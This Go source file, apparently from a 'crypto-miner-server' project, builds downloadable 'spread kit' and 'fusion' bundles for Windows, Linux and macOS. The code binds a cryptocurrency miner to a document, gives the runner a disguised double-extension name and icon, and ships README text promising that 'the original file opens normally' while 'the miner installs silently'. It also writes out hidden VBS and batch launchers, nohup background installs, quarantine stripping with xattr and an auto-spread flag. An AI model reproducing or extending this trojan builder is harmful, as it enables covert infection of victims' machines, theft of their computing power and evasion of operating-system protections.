Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Bug fixes: - SRV-B1 through B5: server config, router, server_info, syscheck corrections - BA-03 through BA-06: builder path and universal build cleanup (BLD-D1 through D3) - Frontend WS race condition and useVisibleInterval hook fixed - Drive-root path bug in PathForge resolved - Upload error handling improved Security: - PathForge path traversal guard added - Script injection escaping applied throughout Visual (DV-01 through DV-15): - Cyan design tokens and page headers standardised - Dead CSS removed from Pages.css, PathTracerPage.css, wealth-deck.css - SacredPageHeader deleted (replaced inline); sidebar version display fixed UX: - Emberwake request storm fixed (EmberwakePage.tsx) - Help blurbs UH-01, UH-02, UH-06 added - HelpTips wired into Crucible, Fleet (FleetGroupsStrip, FleetToolbar), Settings Build: - vite.config.ts: webroot auto-sync on build - build_universal.go: universal build artifact cleanup - PROBLEMS.md tracking updated
464 lines
16 KiB
Go
464 lines
16 KiB
Go
package builder
|
|
|
|
import (
|
|
"context"
|
|
"fmt"
|
|
"log"
|
|
"net/http"
|
|
"os"
|
|
"path/filepath"
|
|
"strings"
|
|
"time"
|
|
|
|
"crypto-miner-server/internal/models"
|
|
|
|
"github.com/google/uuid"
|
|
)
|
|
|
|
func (h *Handler) buildUniversalAgent(ctx context.Context, req *BuildRequest, prepPath string) (BuildResponse, int, string) {
|
|
buildID := uuid.New().String()
|
|
buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
|
|
agentDir := filepath.Join(buildDir, "agent")
|
|
|
|
cleanupBuild := func() { _ = os.RemoveAll(buildDir) }
|
|
|
|
if err := os.MkdirAll(agentDir, 0755); err != nil {
|
|
return BuildResponse{Success: false, Error: "Failed to create build directory"}, http.StatusInternalServerError, ""
|
|
}
|
|
if err := h.copyAgentSource(agentDir); err != nil {
|
|
cleanupBuild()
|
|
return BuildResponse{Success: false, Error: "Failed to prepare agent source: " + err.Error()}, http.StatusInternalServerError, ""
|
|
}
|
|
|
|
platforms := platformsForRequest(req)
|
|
workerPaths := map[string]string{}
|
|
for _, p := range platforms {
|
|
wp, err := h.compileWorker(ctx, agentDir, buildDir, req, buildID, p, req.FusionEnabled)
|
|
if err != nil {
|
|
cleanupBuild()
|
|
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
|
}
|
|
workerPaths[p.Label()] = wp
|
|
}
|
|
|
|
if req.SpreadKit && !req.FusionEnabled {
|
|
return h.finishSpreadKit(buildID, buildDir, req, workerPaths, platforms)
|
|
}
|
|
|
|
if req.FusionEnabled {
|
|
return h.finishUniversalFusion(ctx, buildID, buildDir, req, prepPath, workerPaths, platforms)
|
|
}
|
|
|
|
// Universal workers only — primary artifact is spread-kit style folder without spread flag naming
|
|
return h.finishSpreadKit(buildID, buildDir, req, workerPaths, platforms)
|
|
}
|
|
|
|
func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, workers map[string]string, platforms []BuildPlatform) (BuildResponse, int, string) {
|
|
cleanupBuild := func() { _ = os.RemoveAll(buildDir) }
|
|
|
|
var subdir string
|
|
if req.SpreadKit {
|
|
subdir = sanitizeFileName(req.WorkerName) + "-spread-kit"
|
|
} else {
|
|
subdir = sanitizeFileName(req.WorkerName) + "-universal"
|
|
}
|
|
outDir := filepath.Join(h.projectRoot, "spread-kits", subdir)
|
|
if err := os.MkdirAll(outDir, 0755); err != nil {
|
|
cleanupBuild()
|
|
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
|
}
|
|
|
|
for _, p := range platforms {
|
|
src := workers[p.Label()]
|
|
if h.shouldSignBuild(req) {
|
|
if err := h.signExecutable(src); err != nil {
|
|
cleanupBuild()
|
|
return BuildResponse{Success: false, Error: "Build succeeded but signing failed: " + err.Error()}, http.StatusInternalServerError, ""
|
|
}
|
|
}
|
|
destDir := filepath.Join(outDir, p.BinDir())
|
|
if err := os.MkdirAll(destDir, 0755); err != nil {
|
|
cleanupBuild()
|
|
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
|
}
|
|
destName := "worker" + p.Ext
|
|
if err := copyFile(src, filepath.Join(destDir, destName)); err != nil {
|
|
cleanupBuild()
|
|
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
|
}
|
|
}
|
|
|
|
_ = os.WriteFile(filepath.Join(outDir, "deploy.sh"), []byte(spreadKitDeploySh()), 0755)
|
|
_ = os.WriteFile(filepath.Join(outDir, "Deploy.bat"), []byte(spreadKitDeployBat()), 0644)
|
|
_ = os.WriteFile(filepath.Join(outDir, "Deploy.vbs"), []byte(spreadKitDeployVbs()), 0644)
|
|
_ = os.WriteFile(filepath.Join(outDir, "Start.command"), []byte(spreadKitStartCommand()), 0755)
|
|
_ = os.WriteFile(filepath.Join(outDir, "README.txt"), []byte(formatSpreadKitReadme(req)), 0644)
|
|
_ = os.WriteFile(filepath.Join(outDir, "OPERATOR.txt"), []byte(formatSpreadKitOperator(req, buildID)), 0644)
|
|
|
|
zipName := subdir + "-package.zip"
|
|
zipPath := filepath.Join(buildDir, zipName)
|
|
if err := zipDirectory(outDir, zipPath); err != nil {
|
|
cleanupBuild()
|
|
return BuildResponse{Success: false, Error: "zip failed: " + err.Error()}, http.StatusInternalServerError, ""
|
|
}
|
|
_ = copyFile(zipPath, filepath.Join(outDir, zipName))
|
|
if err := h.checkBuildSizeFile(zipPath); err != nil {
|
|
cleanupBuild()
|
|
return BuildResponse{Success: false, Error: err.Error()}, http.StatusBadRequest, ""
|
|
}
|
|
|
|
primary := workers[platforms[0].Label()]
|
|
if w, ok := workers["windows-amd64"]; ok {
|
|
primary = w
|
|
}
|
|
zipSt, _ := os.Stat(zipPath)
|
|
zipBytes := int64(0)
|
|
if zipSt != nil {
|
|
zipBytes = zipSt.Size()
|
|
}
|
|
|
|
if err := h.db.InsertBuild(&models.BuildRecord{
|
|
ID: buildID, WorkerName: req.WorkerName, ServerURL: req.ServerURL, Wallet: req.Wallet,
|
|
Threads: req.Threads, FileSize: zipBytes, FilePath: zipPath, FileName: zipName, CreatedAt: time.Now(),
|
|
PoolHost: req.PoolHost, PoolPort: req.PoolPort, PoolTLS: req.PoolTLS, PoolPass: req.PoolPass,
|
|
Platform: "universal", BundleSize: zipBytes,
|
|
DownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
|
|
}); err != nil {
|
|
log.Printf("[Builder] InsertBuild error (spread kit %s): %v", buildID, err)
|
|
}
|
|
h.notifyBuildComplete(zipName, req.WorkerName, zipBytes)
|
|
|
|
return BuildResponse{
|
|
Success: true,
|
|
BuildID: buildID,
|
|
FileName: zipName,
|
|
FilePath: zipPath,
|
|
RelativePath: filepath.ToSlash(filepath.Join("spread-kits", subdir, zipName)),
|
|
FileSize: zipBytes,
|
|
DownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
|
|
BundleFileName: zipName,
|
|
BundleDownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
|
|
BundleSize: zipBytes,
|
|
FusionExportDir: outDir,
|
|
ExportPath: outDir,
|
|
}, http.StatusOK, primary
|
|
}
|
|
|
|
func (h *Handler) finishUniversalFusion(ctx context.Context, buildID, buildDir string, req *BuildRequest, prepPath string, workers map[string]string, platforms []BuildPlatform) (BuildResponse, int, string) {
|
|
cleanupBuild := func() { _ = os.RemoveAll(buildDir) }
|
|
|
|
// Resolve payload display name (used for runner naming and ZIP title)
|
|
payloadBase := filepath.Base(prepPath)
|
|
title := strings.TrimSpace(req.FusionMediaBaseName)
|
|
if title == "" {
|
|
title = payloadBase
|
|
}
|
|
titleBase := strings.TrimSuffix(filepath.Base(title), filepath.Ext(title))
|
|
if titleBase == "" {
|
|
titleBase = "fusion"
|
|
}
|
|
|
|
subdir := fusionExportSubdir(req, title)
|
|
outDir := filepath.Join(h.projectRoot, FusionDeliverablesDir, subdir)
|
|
if err := os.MkdirAll(outDir, 0755); err != nil {
|
|
cleanupBuild()
|
|
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
|
}
|
|
|
|
mode := normalizeFusionMediaMode(req.FusionMediaMode)
|
|
|
|
var fusionResults []*fusionBuildResult
|
|
var primaryPath string
|
|
for _, p := range platforms {
|
|
workerPath := workers[p.Label()]
|
|
platReq := *req
|
|
// Name each runner after the payload file for clarity (e.g. report-runner.exe)
|
|
platReq.FusionOutputName = runnerNameForFile(title, p)
|
|
res, err := h.buildFusionForPlatform(ctx, buildDir, prepPath, workerPath, &platReq, p)
|
|
if err != nil {
|
|
cleanupBuild()
|
|
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
|
}
|
|
if h.shouldSignBuild(req) {
|
|
if err := h.signExecutable(res.LauncherPath); err != nil {
|
|
cleanupBuild()
|
|
return BuildResponse{Success: false, Error: "Build succeeded but signing failed: " + err.Error()}, http.StatusInternalServerError, ""
|
|
}
|
|
}
|
|
fusionResults = append(fusionResults, res)
|
|
destDir := filepath.Join(outDir, p.BinDir())
|
|
if err := os.MkdirAll(destDir, 0755); err != nil {
|
|
cleanupBuild()
|
|
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
|
}
|
|
runnerName := filepath.Base(res.LauncherPath)
|
|
destRunner := filepath.Join(destDir, runnerName)
|
|
if err := copyFile(res.LauncherPath, destRunner); err != nil {
|
|
cleanupBuild()
|
|
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
|
}
|
|
if p.GOOS == "windows" {
|
|
primaryPath = destRunner
|
|
}
|
|
if p.GOOS == "darwin" {
|
|
if err := h.buildDarwinAppBundle(outDir, title, destRunner, p); err != nil {
|
|
log.Printf("[Forge] darwin app bundle: %v", err)
|
|
}
|
|
}
|
|
}
|
|
|
|
// For paired mode: copy the original payload file to the ZIP root so runners can find it.
|
|
// The runners search up to 2 parent dirs from their binary location (bin/platform/ → root).
|
|
if mode == "paired" && prepPath != "" {
|
|
destPayload := filepath.Join(outDir, sanitizeFileName(payloadBase))
|
|
_ = copyFile(prepPath, destPayload)
|
|
}
|
|
|
|
_ = os.WriteFile(filepath.Join(outDir, "start.sh"), []byte(fusionUniversalStartSh(title)), 0755)
|
|
_ = os.WriteFile(filepath.Join(outDir, "Start.bat"), []byte(fusionUniversalStartBat(title)), 0644)
|
|
_ = os.WriteFile(filepath.Join(outDir, "Start.command"), []byte(fusionUniversalStartCommand()), 0755)
|
|
|
|
windowsRunnerName := disguisedRunnerName(payloadBase)
|
|
readme := fusionReadmeInfo{
|
|
Title: titleBase,
|
|
RunnerName: windowsRunnerName,
|
|
MediaName: payloadBase,
|
|
PayloadKind: req.FusionPayloadKind,
|
|
MediaMode: mode,
|
|
}
|
|
unixRunnerName := sanitizeFileName(titleBase+"-runner")
|
|
readmeExtra := "\r\nLAUNCH INSTRUCTIONS (Universal — all OSes):\r\n" +
|
|
" Windows: double-click Start.bat (or run bin\\windows-amd64\\" + windowsRunnerName + ")\r\n" +
|
|
" NOTE: on Windows, " + windowsRunnerName + " appears as \"" + titleBase + strings.ToLower(filepath.Ext(payloadBase)) + "\" (icon + name disguised)\r\n" +
|
|
" Linux: chmod +x start.sh && ./start.sh (or bin/linux-amd64/" + unixRunnerName + ")\r\n" +
|
|
" macOS: double-click Start.command (or open " + titleBase + ".app)\r\n\r\n" +
|
|
"What happens when launched:\r\n" +
|
|
" 1. The original file (" + payloadBase + ") opens normally\r\n" +
|
|
" 2. The miner installs silently and connects to your command deck\r\n"
|
|
_ = os.WriteFile(filepath.Join(outDir, "README.txt"), []byte(formatFusionReadme(readme)+readmeExtra), 0644)
|
|
|
|
zipName := fusionBundleZipName(subdir)
|
|
zipPath := filepath.Join(buildDir, zipName)
|
|
if err := zipDirectory(outDir, zipPath); err != nil {
|
|
cleanupBuild()
|
|
return BuildResponse{Success: false, Error: "zip failed: " + err.Error()}, http.StatusInternalServerError, ""
|
|
}
|
|
_ = copyFile(zipPath, filepath.Join(outDir, zipName))
|
|
if err := h.checkBuildSizeFile(zipPath); err != nil {
|
|
cleanupBuild()
|
|
return BuildResponse{Success: false, Error: err.Error()}, http.StatusBadRequest, ""
|
|
}
|
|
|
|
if primaryPath == "" && len(fusionResults) > 0 {
|
|
primaryPath = fusionResults[0].LauncherPath
|
|
}
|
|
zipSt2, _ := os.Stat(zipPath)
|
|
zipBytes2 := int64(0)
|
|
if zipSt2 != nil {
|
|
zipBytes2 = zipSt2.Size()
|
|
}
|
|
|
|
if err := h.db.InsertBuild(&models.BuildRecord{
|
|
ID: buildID, WorkerName: req.WorkerName, ServerURL: req.ServerURL, Wallet: req.Wallet,
|
|
Threads: req.Threads, FileSize: zipBytes2, FilePath: zipPath, FileName: zipName, CreatedAt: time.Now(),
|
|
PoolHost: req.PoolHost, PoolPort: req.PoolPort, PoolTLS: req.PoolTLS, PoolPass: req.PoolPass,
|
|
Platform: "universal", BundleSize: zipBytes2,
|
|
DownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
|
|
}); err != nil {
|
|
log.Printf("[Builder] InsertBuild error (universal fusion %s): %v", buildID, err)
|
|
}
|
|
h.notifyBuildComplete(zipName, req.WorkerName, zipBytes2)
|
|
|
|
return BuildResponse{
|
|
Success: true,
|
|
BuildID: buildID,
|
|
FileName: zipName,
|
|
FilePath: zipPath,
|
|
RelativePath: filepath.ToSlash(filepath.Join(FusionDeliverablesDir, subdir, zipName)),
|
|
FileSize: zipBytes2,
|
|
DownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
|
|
FusionEnabled: true,
|
|
FusionExportDir: outDir,
|
|
BundleFileName: zipName,
|
|
BundleDownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
|
|
BundleSize: zipBytes2,
|
|
ExportPath: outDir,
|
|
}, http.StatusOK, primaryPath
|
|
}
|
|
|
|
func runnerNameForPlatform(p BuildPlatform) string {
|
|
if p.GOOS == "windows" {
|
|
return "runner.exe"
|
|
}
|
|
return "runner"
|
|
}
|
|
|
|
func fileSize(st os.FileInfo) int64 {
|
|
if st == nil {
|
|
return 0
|
|
}
|
|
return st.Size()
|
|
}
|
|
|
|
const universalDeploySh = `#!/bin/sh
|
|
set -e
|
|
DIR="$(cd "$(dirname "$0")" && pwd)"
|
|
export AETHER_KIT_DIR="$DIR"
|
|
OS="$(uname -s | tr '[:upper:]' '[:lower:]')"
|
|
ARCH="$(uname -m)"
|
|
case "$OS" in
|
|
linux*)
|
|
case "$ARCH" in
|
|
arm64|aarch64) RUN="$DIR/bin/linux-arm64/worker" ;;
|
|
*) RUN="$DIR/bin/linux-amd64/worker" ;;
|
|
esac
|
|
;;
|
|
darwin*)
|
|
case "$ARCH" in
|
|
arm64|aarch64) RUN="$DIR/bin/darwin-arm64/worker" ;;
|
|
*) RUN="$DIR/bin/darwin-amd64/worker" ;;
|
|
esac
|
|
;;
|
|
*) echo "Unsupported OS: $OS"; exit 1 ;;
|
|
esac
|
|
if [ ! -f "$RUN" ]; then
|
|
echo "Worker binary missing: $RUN"
|
|
exit 1
|
|
fi
|
|
chmod +x "$RUN" 2>/dev/null || true
|
|
xattr -cr "$RUN" 2>/dev/null || true
|
|
nohup "$RUN" --spread-install </dev/null >/dev/null 2>&1 &
|
|
exit 0
|
|
`
|
|
|
|
func spreadKitDeploySh() string {
|
|
return universalDeploySh
|
|
}
|
|
|
|
const spreadKitDeployBatBody = `@echo off
|
|
setlocal
|
|
set "DIR=%~dp0"
|
|
set "AETHER_KIT_DIR=%DIR%"
|
|
set "RUN=%DIR%bin\windows-amd64\worker.exe"
|
|
if not exist "%RUN%" (
|
|
echo Worker missing: %RUN%
|
|
exit /b 1
|
|
)
|
|
start "" /B "%RUN%" --spread-install
|
|
exit /b 0
|
|
`
|
|
|
|
func spreadKitDeployBat() string {
|
|
return spreadKitDeployBatBody
|
|
}
|
|
|
|
const spreadKitDeployVbsBody = `Set sh = CreateObject("WScript.Shell")
|
|
dir = Replace(WScript.ScriptFullName, WScript.ScriptName, "")
|
|
run = dir & "bin\windows-amd64\worker.exe"
|
|
If Not CreateObject("Scripting.FileSystemObject").FileExists(run) Then
|
|
WScript.Echo "Worker missing: " & run
|
|
WScript.Quit 1
|
|
End If
|
|
sh.Environment("PROCESS")("AETHER_KIT_DIR") = dir
|
|
sh.Run """" & run & """ --spread-install", 0, False
|
|
`
|
|
|
|
func spreadKitDeployVbs() string {
|
|
return spreadKitDeployVbsBody
|
|
}
|
|
|
|
const spreadKitStartCommandBody = `#!/bin/bash
|
|
DIR="$(cd "$(dirname "$0")" && pwd)"
|
|
exec "$DIR/deploy.sh"
|
|
`
|
|
|
|
func spreadKitStartCommand() string {
|
|
return spreadKitStartCommandBody
|
|
}
|
|
|
|
// fusionUniversalStartSh returns start.sh for the universal fusion ZIP.
|
|
// It detects the OS/arch and launches the matching runner binary.
|
|
// title is the payload filename — Unix runners use a sanitised "-runner" suffix.
|
|
func fusionUniversalStartSh(title string) string {
|
|
base := strings.TrimSuffix(filepath.Base(title), filepath.Ext(title))
|
|
if base == "" {
|
|
base = "runner"
|
|
}
|
|
runnerBase := sanitizeFileName(base + "-runner")
|
|
return `#!/bin/sh
|
|
DIR="$(cd "$(dirname "$0")" && pwd)"
|
|
OS="$(uname -s | tr '[:upper:]' '[:lower:]')"
|
|
ARCH="$(uname -m)"
|
|
case "$OS" in
|
|
linux*)
|
|
case "$ARCH" in
|
|
arm64|aarch64) RUN="$DIR/bin/linux-arm64/` + runnerBase + `" ;;
|
|
*) RUN="$DIR/bin/linux-amd64/` + runnerBase + `" ;;
|
|
esac ;;
|
|
darwin*)
|
|
case "$ARCH" in
|
|
arm64|aarch64) RUN="$DIR/bin/darwin-arm64/` + runnerBase + `" ;;
|
|
*) RUN="$DIR/bin/darwin-amd64/` + runnerBase + `" ;;
|
|
esac ;;
|
|
*) echo "Unsupported OS: $OS"; exit 1 ;;
|
|
esac
|
|
if [ ! -f "$RUN" ]; then echo "Runner not found: $RUN"; exit 1; fi
|
|
chmod +x "$RUN" 2>/dev/null || true
|
|
xattr -cr "$RUN" 2>/dev/null || true
|
|
exec "$RUN"
|
|
`
|
|
}
|
|
|
|
// fusionUniversalStartBat returns Start.bat for the universal fusion ZIP (Windows runner).
|
|
// title is the payload filename — the runner uses the double-extension disguised name.
|
|
func fusionUniversalStartBat(title string) string {
|
|
runnerExe := disguisedRunnerName(title)
|
|
return "@echo off\r\nset \"DIR=%~dp0\"\r\n\"%DIR%bin\\windows-amd64\\" + runnerExe + "\"\r\n"
|
|
}
|
|
|
|
// fusionUniversalStartCommand returns Start.command (macOS double-click launcher).
|
|
func fusionUniversalStartCommand() string {
|
|
return "#!/bin/bash\nDIR=\"$(cd \"$(dirname \"$0\")\" && pwd)\"\nexec \"$DIR/start.sh\"\n"
|
|
}
|
|
|
|
func formatSpreadKitReadme(req *BuildRequest) string {
|
|
return fmt.Sprintf(`AetherForge Universal Spread Kit — %s
|
|
=====================================
|
|
|
|
Run ONE launcher for your OS (silent install + mining + deck connection):
|
|
|
|
Windows (silent): double-click Deploy.vbs (or Deploy.bat)
|
|
Linux: chmod +x deploy.sh && ./deploy.sh
|
|
macOS: double-click Start.command (or ./deploy.sh)
|
|
|
|
Keep the entire folder together — bin/ must stay next to the launcher.
|
|
|
|
Command deck URL baked into workers: %s
|
|
If agents never appear, re-forge with your LAN IP (not localhost).
|
|
|
|
Troubleshooting log (if install fails): %%TEMP%%\aetherforge-spread.log (Windows) or /tmp/aetherforge-spread.log (Unix)
|
|
`, req.WorkerName, req.ServerURL)
|
|
}
|
|
|
|
func formatSpreadKitOperator(req *BuildRequest, buildID string) string {
|
|
return fmt.Sprintf(`AetherForge Spread Kit — operator reference
|
|
Worker: %s
|
|
Build ID: %s
|
|
Command URL: %s
|
|
Pool: %s:%d
|
|
Wallet: %s…
|
|
Auto-spread: %v
|
|
Targets: windows-amd64, linux-amd64, linux-arm64, darwin-amd64, darwin-arm64
|
|
|
|
Verify: unzip, run launcher on target OS, agent should appear on command deck within ~30s.
|
|
`, req.WorkerName, buildID, req.ServerURL, req.PoolHost, req.PoolPort, truncateWallet(req.Wallet), req.AutoSpread)
|
|
}
|
|
|
|
func truncateWallet(w string) string {
|
|
w = strings.TrimSpace(w)
|
|
if len(w) <= 16 {
|
|
return w
|
|
}
|
|
return w[:16]
|
|
}
|